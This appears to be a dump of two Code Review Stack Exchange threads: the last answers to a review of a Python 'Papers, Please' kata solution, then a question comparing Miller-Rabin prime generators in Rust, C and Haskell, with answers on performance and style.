"body": "<p>Since this is a lot of code, this answer might expand over time or leave parts to other capable members of this community.</p>\n\n<hr>\n\n<h2>Style</h2>\n\n<p>Your overall style is quite good. You seem to follow most of the guidelines presented in the official <a href=\"https://www.python.org/dev/peps/pep-0008/\" rel=\"noreferrer\">Style Guide for Python Code</a> (the infamous PEP8). However, there are a few things that might need a little tweaking.</p>\n\n<p>The thing that caught my attention in the first place where all those <code>_List</code> and <code>_Boolean</code> suffixes on variable an function names. They are very, very uncommon to be seen in any serious Python code. Usually you would choose your variable name to be as explicit as possible about its content, but care less about the type. If you really wanted to use \"typing\", Python 3 now offers so called <a href=\"https://docs.python.org/3/library/typing.html\" rel=\"noreferrer\">type hints</a> as a \"standard\" way to convey type information to users and tools. So instead of <code>def are_multi_lines_w_nations_Boolean(list):</code> you would have <code>def are_multi_lines_w_nations(list_: list) -> bool:</code>. The keen observer will see that I also changed the parameter name from <code>list</code> to <code>list_</code>. This is because <code>list</code> is the typename of Python's built-in <code>list</code> type (think <code>[]</code>). There are other names like this that should be avoided, e.g <code>input</code>, <code>file</code>, and <code>open</code> to name a few.</p>\n\n<p>In addition, your code code use some documentation. There is a section about these so called <a href=\"https://www.python.org/dev/peps/pep-0008/#documentation-strings\" rel=\"noreferrer\">documentation strings or docstrings</a> for short in the style guide. They are basically short descriptions of what your functions do <code>\"\"\"enclosed in triple quotes\"\"\"</code> immediately after <code>def function_name(...):</code> or <code>class ClassName:</code>. Especially if the code becomes even more complex you will be grateful for any hint your IDE can give you about the code you have written a month ago. Following the style as recommended in the Style Guide (and basically found everywhere in Python code) will allow not just Python's built-in <code>help(...)</code> to pick up your doc, but also most of the IDEs. This documentation might also be used to convey type information to the user.</p>\n\n<p>Another stylistic choice to take is how to format long lists and dictionaries in a consistent way. You have several:</p>\n\n<p>The long one:</p>\n\n<pre><code>nations_List = [\"Arstotzka\", \"Antegria\", \"Impor\", \"Kolechia\", \"Obristan\", \"Republia\", \"United Federation\"]\n</code></pre>\n\n<p>Multiline, starting on the same line with the first element:</p>\n\n<pre><code>self.documents_names = [\"passport\",\n \"ID card\",\n \"access permit\",\n \"work pass\",\n ...]\n</code></pre>\n\n<p>Multiline, starting the overall list on the next line:</p>\n\n<pre><code>documents_List = \\\n [\"passport\",\n \"ID card\",\n \"access permit\",\n ...]\n</code></pre>\n\n<p>Multiline, opening and closing brackets on seperate lines:</p>\n\n<pre><code>self.documents_dict = {\n \"passport\": [],\n \"ID_card\": [],\n \"access_permit\": [],\n ...\n}\n</code></pre>\n\n<p>However you choose, it's best to stick with one of them. Over time I have come to the conclusion that I like the last one best.</p>\n\n<p>The good news is: there are a lot of tools out there that can help you to keep a consistent style even in larger projects. They start at tools like <a href=\"http://flake8.pycqa.org/en/latest/\" rel=\"noreferrer\">flake8</a> and <a href=\"https://pylint.org/\" rel=\"noreferrer\">pylint</a> which can basically perform style checking on your code. The next step are tools like <a href=\"https://github.com/google/yapf\" rel=\"noreferrer\">yapf</a> or <a href=\"https://black.readthedocs.io/en/stable/\" rel=\"noreferrer\">black</a> that can even auto-format your code while you write it. pylint or more specialised tools like <a href=\"http://mypy-lang.org/\" rel=\"noreferrer\">mypy</a> can also perform static code analysis to judge program complexity and look e.g. for type hints and the like.</p>\n\n<hr>\n\n<h2>The code</h2>\n\n<p>The code itself has some serious tendency to do deep nesting. IIRC, the most extreme case was like <strong>ten</strong> (10!) levels deep. Your class also has a significant number of lines of code (around 600). Where about ~220 of them are the taken up by the parser of the daily bulletin. It might be worth to consider moving the whole bulletin parsing ouf of <code>Inspector</code> into a separate class which is then used by the <code>Inspector</code>.</p>\n\n<p>Other than that, there is quite a bit of code repetition. Especially the list of nations is repeated a lot. You should put them into \"constants\" right at th beginning of the file and use them where appropriate, e.g.</p>\n\n<pre><code>OUR_GREAT_NATION = \"Arstotzka\"\n\nFOREIGN_NATIONS = (\n \"Antegria\", \"Impor\", \"Kolechia\", \"Obristan\", \"Republia\",\n \"United Federation\"\n)\n\nALL_NATIONS = (OUR_GREAT_NATION, ) + FOREIGN_NATIONS\n\n# ... later\nfor nation in ALL_NATIONS:\n if nation in line:\n return line\n</code></pre>\n\n<p><strong>Note:</strong> I used a tuple because they are immutable. This prevents you from doing things like <code>ALL_NATIONS[0] = \"Foo\"</code>.</p>\n\n<hr>\n\n<p>That's all for now. Maybe I can spare some time tomorrow to talk a little bit more about some specific details.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-27T06:41:29.677",
"Id": "432027",
"Score": "0",
"body": "That was some very insightful review! Thank you ! Sorry for answering just now. I'm going to try out some of those styling tools. Also it's true , I've had many nested lines, but I honestly am still working on fixing that. I tried using List Comprehension whenever I could, but besides that I didn't know how to make it any better. And about code repetition, I probably didn't realize it because making the code step by step I didn't notice how many different functions require same variables. I'm going to try to shorten it as much as possible. Also move the bulletin parsing out of Inspector. :)"
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-25T22:45:51.660",
"Id": "222947",
"ParentId": "222909",
"Score": "5"
}
},
{
"body": "<p>In addition to the excellent points AlexV said above, her are a few more observations:</p>\n\n<p>There is quite a bit of repetition in the bulletin parsing code code. For example, a check is made to see if \"Accept citizens of\" if in a line in four (4) different places. Each of the <code>update_xxx</code> functions loops over all the lines in the bulletin and checks to see if the line contains a certain word or phrase (e.g. 'Accept' or 'Wanted'). If it does match, then some action is taken. Because there are only a few different kinds of bulleting lines, this can be simplified to only loop over the lines once, like so:</p>\n\n<pre><code>def receiveBulletin(bulletin):\n for line in bulletin.splitlines():\n if 'Accept' in line:\n update_accepted_countries(line)\n\n elif 'Deny' in line:\n update_denied_countries(line)\n\n ... etc ...\n</code></pre>\n\n<p>Instead of iterating over the words in a line to see if they match a country name, it might be easier to iterate over the country names and see if they are in the line. That way you don't have to handle 'United Federation' specially.</p>\n\n<p>Choosing the right data structure can make a big difference in how simple or complex the code is. For example, because <code>self.actual_bulletin[\"allowed_nations\"]</code> is a list, you need to check to see if a nation is in the list before you add and delete it. If you used a <code>set()</code> instead, that check would not be necessary, because <code>set.add()</code> and <code>set.discard()</code> will take care of that. Similarly, if <code>vaccines_required_for_nation</code> and <code>entrant_has_vaccines</code> are both sets, then <code>vaccines_required_for_nation <= entrant_has_vaccines</code> is False unless the entrant has the required vaccines.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-26T07:13:26.310",
"Id": "222960",
"ParentId": "222909",
"Score": "3"
}
},
{
"body": "<p>Inspector! Why did you allow Gregory Arstotzkaya, a Kolechian spy, into our glorious nation? Or Ilyana Dbrova, whose documents were perfect forgeries, except for a gender mismatch in her ID card? And why did you fail to apprehend Karl von Oskowitz?</p>\n\n<ul>\n<li>Treating documents as a single piece of text and just checking whether they contain certain words is problematic. Instead, parse each document into a dictionary, which makes it easy to look at relevant fields only. This also simplifies your code, because you no longer need to have parsing code all over the place.</li>\n<li>Similarly, using string comparisons for dates is not a good idea. Parse dates into a <code>datetime</code> object and compare those instead.</li>\n<li>You're making things more difficult for yourself by splitting on spaces rather than commas:\n\n<ul>\n<li>Today it's just a single hack for the United Federation, tomorrow Antegria splits up into North Antegria and the Republic of South Antegria...</li>\n<li>Why hard-code the names of any country (except for the motherland, of course)? If someone claims to be from Nonexististan, well, non-existing countries aren't on our whitelist, so they'll be rejected anyway. And why should you ignore a bulletin that tells you to allow people from a newly formed country?</li>\n<li>If you're having difficulties isolating specific parts of a sentence, for simple cases you could use slicing: <code>string[start:end]</code> gives you a new string that only contains the specified part of the original string. Negative offsets count from the end of the string, left-out offsets default to the start/end of the string.</li>\n</ul></li>\n<li>Parsing bulletins would be much easier with the help of a few well-chosen regular expressions. Consider creating a list of pattern-function tuples, such as <code>('Allow citizens of (?P<countries>.+)', allow_citizens)</code>, where <code>allow_citizens</code> is a function that takes a <code>match</code> object. You can fetch the countries with <code>match.groups('countries')</code>, which can then easily be split on commas. Be sure to <code>strip()</code> leading and trailing spaces from each individual country name. Now, for each line in a bulletin, your <code>receive_bulletin</code> function would walk through this list, calling <code>re.match</code> for each pattern until it finds a match, which it passes on to the associated function. To handle the similarities between document and vaccination instructions, you could order the patterns from most to least specific, or use look-behind assertions, or perform additional checks in the associated function.</li>\n<li>It's probably easier to store document and vaccination requirements per country, rather than per document type. That means that once you know where someone is from, you immediately know which documents are required, instead of having to check every document type for the person's country.</li>\n<li>For requirements, I would use a <code>defaultdict</code>, from the <code>collections</code> module, with the <code>set</code> function as default factory. This means you don't need to worry about initialization: you can just do <code>required_documents[country].add(document)</code> without having to check whether <code>required_documents</code> even contains that <code>country</code> key.</li>\n<li>In <code>inspect</code>, you're calling a lot of functions twice. First to see if the entrant should be detained or rejected, then again for the actual response. That's a waste of work. Just call these functions once and store their result in a local variable, then check that variable and return it if necessary.</li>\n</ul>\n\n<p>Most nested functions are reasonably named, which makes it easy to get an idea of <em>what</em> your code does. However, a lot of them depend on local state in their 'parent' function, which makes it difficult to understand <em>how</em> they work. There's also a fair amount of (almost) duplicated code and special-case handling that could be removed with more robust general-case code.</p>\n\n<p>A function that takes all of its input via arguments, and returns its output, without modifying any other state - a 'pure' function - is easier to understand and easier to (re)use. For example, compare <code>check_documents_expiration_date()</code> with <code>is_document_expired(document, current_date)</code>: with the former, it's not immediately clear which documents it inspects, or against which expiry date. The latter clearly checks the given document against the given date. It's doing less, but can be used as a building block for other functions, or in small expressions like <code>expired_documents = [doc for doc in documents if is_document_expired(doc, current_date)]</code>.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-07-08T13:57:07.553",
"Id": "433780",
"Score": "1",
"body": "I know i am answering really late, I've been on a vacation and i had no internet so sorry for that. But wow! That's a lot of things that I wouldn't have thought of ,and I thank you very much for pointing them out. I am going to correct the code with everything you said I could improve, and hopefully I will remember all of this advice for my future project. And dammit I could've swore there was something shady about Gregory."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-27T21:28:15.050",
"Id": "223099",
"ParentId": "222909",
"Score": "5"
}
},
{
"body": "<p>This is a mere supplement to the other answers.</p>\n\n<p><strong>First,</strong> there are several places in the code where you stack two <code>if</code>-statements on top of each other, because you want to check two different conditions before proceeding with an operation:</p>\n\n<pre><code> if \"Citizens of \" in line:\n if \"vaccination\" not in line:\n for nation in nations_List:\n</code></pre>\n\n<p>In these cases it would be better to have a single <code>if</code>-statement. This is more typical and makes your intentions clearer to future readers. (If I saw a double-<code>if</code>-stack out in the wild, I would immediately begin looking for the <code>else</code> clause that goes with the second <code>if</code>, because why else would it be written like that?)</p>\n\n<pre><code> if \"Citizens of \" in line and \"vaccination\" not in line:\n for nation in nations_List:\n</code></pre>\n\n<p><strong>Second,</strong> some of your lines are very long (179 characters at the longest). AlexV's answer discussed the problem of formatting lists and dictionaries, but other parts of your code are even longer:</p>\n\n<pre><code> for i in range(len(document_and_key_List)):\n if (document_and_key_List[i] != \"diplomatic_authorization\" and document_and_key_List[i] != \"ID_card\") and document_and_key_List[i] != \"certificate_of_vaccination\":\n\n if document_and_exp_date_Dict[document_and_key_List[i]][0] < \"1982\":\n return \"Entry denied: \" + documents_List[underlined_documents_List.index(document_and_key_List[i])]+ \" expired.\"\n</code></pre>\n\n<p>This is typically considered poor style. It increases the odds that someone will have to scroll both vertically <em>and</em> horizontally to read your code, which is slightly annoying and certainly doesn't aid understanding.</p>\n\n<p>The <a href=\"https://www.python.org/dev/peps/pep-0008/\" rel=\"nofollow noreferrer\">PEP 8 guidelines</a> recommend limiting lines to 79 characters, <em>maybe</em> 99, and provide some guidance on where and how to break lines. Limiting the amount of nesting in your code will help too. You can even shorten some of your variable names (though you don't want to sacrifice descriptive power).</p>\n\n<pre><code> for i in range(len(doc_names)):\n if (doc_names[i] != \"diplomatic_authorization\"\n and doc_names[i] != \"ID_card\"\n and doc_names[i] != \"certificate_of_vaccination\"):\n\n if doc_exp_date[doc_names[i]][0] < \"1982\":\n return (\"Entry denied: \"\n + docs[underlined_docs.index(doc_names[i])]\n + \" expired.\")\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-03-10T01:12:49.953",
"Id": "468014",
"Score": "0",
"body": "Just noticed this question is from last July...if you've been practicing your coding for eight months, you probably don't even need this advice by now!"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-03-12T09:35:53.007",
"Id": "468253",
"Score": "0",
"body": "Actually no! I have taken quite a break from coding unfortunately ): But I just began coding again daily so your answer came just in time :p. I am about to try and optimize most of my old projects so I will definitely take your advice as well! Thank you very much"
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-03-10T01:04:17.297",
"Id": "238644",
"ParentId": "222909",
"Score": "1"
}
}
] | {
"AcceptedAnswerId": "223099",
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-25T08:42:57.333",
"Id": "222909",
"Score": "6",
"Tags": [
"python",
"python-3.x",
"object-oriented",
"programming-challenge"
],
"Title": "Papers, Please - Kata from CodeWars - Python"
} | 222909 |
<p>I implemented the Miller-Rabin prime test in Rust and made a program to generate large primes.</p>
<p>I have also implemented the same program in C and Haskell and the Rust version is the slowest. I am looking for advice on how to improve performance and how to improve my Rust style code.</p>
<p>The code for the program in Rust, Haskell, and C are below is compiled using <code>cargo build --release</code>. The contents of the Rust toml file follow the rust code.</p>
<p>For an input initial number <code>n=10^500</code> and number of tests <code>k=40</code>, the time taken is 4.5 seconds on my computer (1 sec for C, 2 sec for Haskell) and the answer I get for the next prime is <code>10^500+961</code>. Each program is run with <code>n</code> and <code>k</code> as the arguments, e.g. <code>cargo run <n> <k></code>. </p>
<p><strong>Rust code, main.rs</strong>, compiled with <code>cargo build --release</code></p>
<pre><code>use num;
use rand;
use num_bigint::{BigUint, RandBigInt};
use num::FromPrimitive;
use num::{Zero, One};
use std::env;
const TRIAL_DIVISORS : [u32; 167] = [3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37, 41,
43, 47, 53, 59, 61, 67, 71, 73, 79, 83, 89, 97, 101,
103, 107, 109, 113, 127, 131, 137, 139, 149, 151, 157, 163, 167,
173, 179, 181, 191, 193, 197, 199, 211, 223, 227, 229, 233, 239,
241, 251, 257, 263, 269, 271, 277, 281, 283, 293, 307, 311, 313,
317, 331, 337, 347, 349, 353, 359, 367, 373, 379, 383, 389, 397,
401, 409, 419, 421, 431, 433, 439, 443, 449, 457, 461, 463, 467,
479, 487, 491, 499, 503, 509, 521, 523, 541, 547, 557, 563, 569,
571, 577, 587, 593, 599, 601, 607, 613, 617, 619, 631, 641, 643,
647, 653, 659, 661, 673, 677, 683, 691, 701, 709, 719, 727, 733,
739, 743, 751, 757, 761, 769, 773, 787, 797, 809, 811, 821, 823,
827, 829, 839, 853, 857, 859, 863, 877, 881, 883, 887, 907, 911,
919, 929, 937, 941, 947, 953, 967, 971, 977, 983, 991, 997];
fn main() {
let args: Vec<String> = env::args().collect();
let n = args[1].parse::<BigUint>().expect("Error reading bignum.");
let ntests = args[2].parse::<usize>().expect("Error reading ntests.");
let p = find_prime(n, ntests);
println!("{}", p);
}
fn find_prime(mut n : BigUint, ntests : usize) -> BigUint {
// If the input is even, it should be made odd.
if &n % 2u32 == BigUint::zero() {
n += 1u32;
}
let two : BigUint = BigUint::from_u32(2).unwrap();
while !mr_isprime(&n, &ntests) {
n += &two;
}
n
}
fn mr_isprime(n : &BigUint, ntests : &usize) -> bool {
for i in TRIAL_DIVISORS.iter() {
if n % i == BigUint::zero() {
if n==&(BigUint::from_u32(*i).unwrap()) {
return true
}
return false
}
}
let (d,r) = decompose(n);
let mut rng = rand::thread_rng();
let two : BigUint = BigUint::from_u32(2).unwrap();
for _ in 0..*ntests {
let a: BigUint = rng.gen_biguint_range(&two,&(n-2u16));
if trial_composite(n, &d, &r, &a) {
return false;
}
}
true
}
fn trial_composite(n: &BigUint, d: &BigUint,
r: &usize, a: &BigUint) -> bool {
let mut x = a.modpow(&d, &n);
if (x==BigUint::one()) || (x==(n-1u32)) {
return false;
}
let two = BigUint::from_u32(2).unwrap();
for i in 0..(r-1) {
let e = d*( &two << i);
x = a.modpow(&e,n);
if n - 1u32 == x {
return false;
}
}
true
}
fn decompose(n : &BigUint) -> (BigUint, usize) {
// Split number such that
// n = d*2^r + 1
let mut d = n - 1u32;
let mut r : usize = 0;
while (&d % 2u32).is_zero() {
r += 1;
d /= 2u32;
}
(d, r)
}
</code></pre>
<p><strong>Cargo.toml</strong></p>
<pre><code>[package]
name = "miller_rabin"
version = "0.1.0"
authors = [""]
edition = "2018"
[dependencies]
num = "0.2.0"
num-bigint = { version = "0.2.2", features = ["rand"] }
rand = "0.6.5"
</code></pre>
<p><strong>Haskell code, miller_rabin.hs</strong>. Compiled with <code>ghc -threaded -O2 miller_rabin.hs -o miller_rabin</code></p>
<pre><code>module Main where
import System.Random (StdGen, getStdGen, randomRs)
import System.Environment (getArgs)
trial_divisors = [ 3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37, 41,
43, 47, 53, 59, 61, 67, 71, 73, 79, 83, 89, 97, 101,
103, 107, 109, 113, 127, 131, 137, 139, 149, 151, 157, 163, 167,
173, 179, 181, 191, 193, 197, 199, 211, 223, 227, 229, 233, 239,
241, 251, 257, 263, 269, 271, 277, 281, 283, 293, 307, 311, 313,
317, 331, 337, 347, 349, 353, 359, 367, 373, 379, 383, 389, 397,
401, 409, 419, 421, 431, 433, 439, 443, 449, 457, 461, 463, 467,
479, 487, 491, 499, 503, 509, 521, 523, 541, 547, 557, 563, 569,
571, 577, 587, 593, 599, 601, 607, 613, 617, 619, 631, 641, 643,
647, 653, 659, 661, 673, 677, 683, 691, 701, 709, 719, 727, 733,
739, 743, 751, 757, 761, 769, 773, 787, 797, 809, 811, 821, 823,
827, 829, 839, 853, 857, 859, 863, 877, 881, 883, 887, 907, 911,
919, 929, 937, 941, 947, 953, 967, 971, 977, 983, 991, 997]
main :: IO ()
main = do
g <- getStdGen
args <- getArgs
let number = read . head $ args :: Integer
ntests = read $ args !! 1 :: Int
p = find_prime g ntests number
putStrLn . show $ p
miller_rabin :: StdGen -> Int -> Integer -> Bool
miller_rabin g k n = if any (\d -> n `mod` d == 0) trial_divisors
then if any (\d -> n == d) trial_divisors
then True
else False
else all (not . trial_composite n d r) $
take k (randomRs (2, n-2) g)
where
(d, r) = decompose (n-1) 0
trial_composite :: Integer -> Integer -> Integer -> Integer -> Bool
trial_composite n d r a = let x = fastPow a d n in
if (x == 1) || (x==n-1)
then False
else all ((/=) (n-1)) $ map (\i -> fastPow a (d*(2^i)) n) [0..r-1]
decompose :: Integer -> Integer -> (Integer, Integer)
decompose d r
| d `mod` 2 == 0 = decompose (d `div` 2) (r+1)
| otherwise = (d, r)
fastPow :: Integer -> Integer -> Integer -> Integer
fastPow base 1 m = mod base m
fastPow base pow m | even pow = mod ((fastPow base (div pow 2) m) ^ 2) m
| odd pow = mod ((fastPow base (div (pow-1) 2) m) ^ 2 * base) m
find_prime :: StdGen -> Int -> Integer -> Integer
find_prime g k n
| even n = find_prime_odd g k (n+1)
| otherwise = find_prime_odd g k n
where
find_prime_odd g k n = case miller_rabin g k n of
True -> n
False -> find_prime g k (n+2)
</code></pre>
<p><strong>C code, miller_rabin.c</strong>, compiled with <code>gcc -O2 miller_rabin_find_prime.c -o miller_rabin -lgmp</code></p>
<pre><code>#include <gmp.h>
#include <time.h>
#include <stdlib.h>
#include <stdio.h>
#include <assert.h>
#include <stdbool.h>
#include <math.h>
#define NDIVISORS 167
const int trial_divisors[NDIVISORS] = {3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37, 41,
43, 47, 53, 59, 61, 67, 71, 73, 79, 83, 89, 97, 101,
103, 107, 109, 113, 127, 131, 137, 139, 149, 151, 157, 163, 167,
173, 179, 181, 191, 193, 197, 199, 211, 223, 227, 229, 233, 239,
241, 251, 257, 263, 269, 271, 277, 281, 283, 293, 307, 311, 313,
317, 331, 337, 347, 349, 353, 359, 367, 373, 379, 383, 389, 397,
401, 409, 419, 421, 431, 433, 439, 443, 449, 457, 461, 463, 467,
479, 487, 491, 499, 503, 509, 521, 523, 541, 547, 557, 563, 569,
571, 577, 587, 593, 599, 601, 607, 613, 617, 619, 631, 641, 643,
647, 653, 659, 661, 673, 677, 683, 691, 701, 709, 719, 727, 733,
739, 743, 751, 757, 761, 769, 773, 787, 797, 809, 811, 821, 823,
827, 829, 839, 853, 857, 859, 863, 877, 881, 883, 887, 907, 911,
919, 929, 937, 941, 947, 953, 967, 971, 977, 983, 991, 997};
bool trial_composite(mpz_t n, mpz_t d, unsigned long int r,
mpz_t a, mpz_t x, mpz_t tmp) {
mpz_powm(x, a, d, n);
mpz_sub_ui(tmp,n,1);
if ((mpz_cmp_ui(x,1)==0) || (mpz_cmp(x,tmp)==0)) {
return false;
}
for (unsigned long int i=0; i<r; i++) {
mpz_mul_2exp(tmp, d, i);
mpz_powm(x, a, tmp, n);
mpz_sub_ui(tmp, n, 1);
if (mpz_cmp(x,tmp)==0) {
return false;
}
}
return true;
}
bool mr_test(mpz_t n, int numtests) {
mpz_t d;
unsigned long int r=0;
mpz_init(d);
mpz_t tmp;
mpz_init(tmp);
mpz_sub_ui(d,n,1);
// Decompose into d*2^r + 1 = n
while (mpz_divisible_ui_p(d,2)) {
mpz_fdiv_q_2exp(d,d,1);
r++;
}
// Trial division
for (int i=0; i<NDIVISORS; i++) {
if (mpz_divisible_ui_p(n,trial_divisors[i])) {
if (mpz_cmp_ui(n, trial_divisors[i])==0) {
return true;
}
return false;
}
}
gmp_randstate_t rstate;
gmp_randinit_default(rstate);
mpz_t x;
mpz_init(x);
mpz_t a;
mpz_init(a);
for (int k=0; k<numtests; k++) {
mpz_sub_ui(tmp, n, 4);
mpz_urandomm(a, rstate, tmp);
mpz_add_ui(a,a,2);
if (trial_composite(n,d,r,a,x,tmp)) {
return false;
}
}
mpz_clear(d);
mpz_clear(a);
mpz_clear(x);
mpz_clear(tmp);
return true;
}
int main(int argc, char *argv[]){
srand(time(NULL));
mpz_t n;
int flag;
mpz_init(n);
mpz_set_ui(n,0);
flag = mpz_set_str(n, argv[1], 10);
assert(flag==0);
int k = atoi(argv[2]);
if (mpz_divisible_ui_p(n,2)) {
mpz_add_ui(n,n,1);
}
bool p;
while (!mr_test(n,k)) {
mpz_add_ui(n,n,2);
}
mpz_out_str(stdout, 10, n);
printf("\n");
mpz_clear(n);
return 0;
}
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-25T12:09:05.563",
"Id": "431734",
"Score": "0",
"body": "I can add the C and Haskell code, I can do that in a few hours (wanted to focus on the rust code for this question)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-25T13:51:12.260",
"Id": "431752",
"Score": "0",
"body": "Note that the other languages *can* imply [tag:comparative-review]. Make sure to mark the variant you want to get reviewed."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-25T13:53:14.180",
"Id": "431753",
"Score": "0",
"body": "@Stargateur Haskell's `Integer` is an arbitrary large integer, there's no external library required (although GHC usually uses GMP in its implementation)."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-25T14:26:53.330",
"Id": "431757",
"Score": "0",
"body": "@Stargateur, I used GMP bigint in C and Haskell’s builtin Integer type which has arbitrary size"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-25T15:47:41.447",
"Id": "431773",
"Score": "0",
"body": "@Stargateur, I just added the code for the `C` and `Haskell` versions of the program."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-26T04:54:16.310",
"Id": "431819",
"Score": "1",
"body": "it's hard to follow without explanation of your code, I don't know how this is suppose to work, but I see some things that could be a problem, you often build a `BigUint` that you already build before. Also each time your function is call you generate a new rng."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-26T10:01:07.013",
"Id": "431840",
"Score": "0",
"body": "Please do not update the code in your question to incorporate feedback from answers, doing so goes against the Question + Answer style of Code Review. This is not a forum where you should keep the most updated version in your question. Please see *[what you may and may not do after receiving answers](//codereview.meta.stackexchange.com/a/1765)*. Since adding comments has explicitly been suggested in the answers, adding comments partly invalidates the answer and potentially creates a mess. We take that quite seriously here. Feel free to post a follow-up question in time, instead."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-26T10:19:27.707",
"Id": "431843",
"Score": "0",
"body": "@Mast, Oops! Should I revert the changes?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-26T11:01:56.370",
"Id": "431851",
"Score": "0",
"body": "I've already done that, don't worry :-)"
}
] | [
{
"body": "<blockquote>\n <p>I am looking for advice on how to improve performance and how to improve my Rust style code.</p>\n</blockquote>\n\n<p>Not so applicable, but some minor C comments</p>\n\n<p><strong>Over specifying array size</strong></p>\n\n<p><code>trial_divisors[]</code> array size is specified with a constant and initialized with <em>maybe</em> the correct number of initializers. Avoid that <em>maybe</em>.</p>\n\n<p>Instead initialize, then form the size.</p>\n\n<pre class=\"lang-c prettyprint-override\"><code>const int trial_divisors[] = {\n 3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37, 41,\n 43, 47, 53, 59, 61, 67, 71, 73, 79, 83, 89, 97, 101,\n // ...\n 919, 929, 937, 941, 947, 953, 967, 971, 977, 983, 991, 997\n};\n\n#define NDIVISORS (sizeof trial_divisors / sizeof trial_divisors[0])\n</code></pre>\n\n<p><strong>Add comments</strong></p>\n\n<p>The goal, algorithm, use restrictions, etc of the functions are not obvious - some more light commentary is warranted.</p>\n\n<p><strong>Vertical white-spaces</strong></p>\n\n<p>Blank lines in functions appeared excessive.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-26T04:47:23.113",
"Id": "431818",
"Score": "1",
"body": "Thank you for the advise. I was not aware of that method of finding the size of an array."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-26T04:15:13.570",
"Id": "222955",
"ParentId": "222913",
"Score": "4"
}
},
{
"body": "<p>I'm not a Rust user, so I can't say much about style, but I can see an optimisation in <code>trial_composite</code>:</p>\n\n<blockquote>\n<pre><code> x = a.modpow(&e,n);\n</code></pre>\n</blockquote>\n\n<p>You already have <span class=\"math-container\">\\$x^{e/2}\\$</span>, so all you need to do is square it. I.e. this line should be (suitably corrected to compile)</p>\n\n<pre><code> x = x.modpow(2u32,n);\n</code></pre>\n\n<p>or</p>\n\n<pre><code> x = x * x % n;\n</code></pre>\n\n<p>There may also be a further, minor, optimisation in pulling out a local constant for <code>n - 1u32</code> so as to avoid having to do the subtraction each time round the loop.</p>\n\n<hr>\n\n<p>There is one point of style which I think is pretty universal:</p>\n\n<blockquote>\n<pre><code> if n==&(BigUint::from_u32(*i).unwrap()) {\n return true\n }\n return false\n</code></pre>\n</blockquote>\n\n<p>is an overly complicated way of writing</p>\n\n<pre><code> return n==&(BigUint::from_u32(*i).unwrap())\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-26T09:35:48.160",
"Id": "431838",
"Score": "1",
"body": "So changing the way of calculating the exponential to `x = x * x % n;` had a significant improvement on the performance. From 4.5 seconds to 1.5 seconds. Can't remember why I used this method, but I first used it in the C version (C GMP has a specific function for a*d^e)."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-26T07:45:13.553",
"Id": "222963",
"ParentId": "222913",
"Score": "4"
}
}
] | {
"AcceptedAnswerId": null,
"CommentCount": "9",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-25T09:29:09.867",
"Id": "222913",
"Score": "2",
"Tags": [
"performance",
"c",
"haskell",
"reinventing-the-wheel",
"rust"
],
"Title": "Miller-Rabin Large Prime Generator in Rust"
} | 222913 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.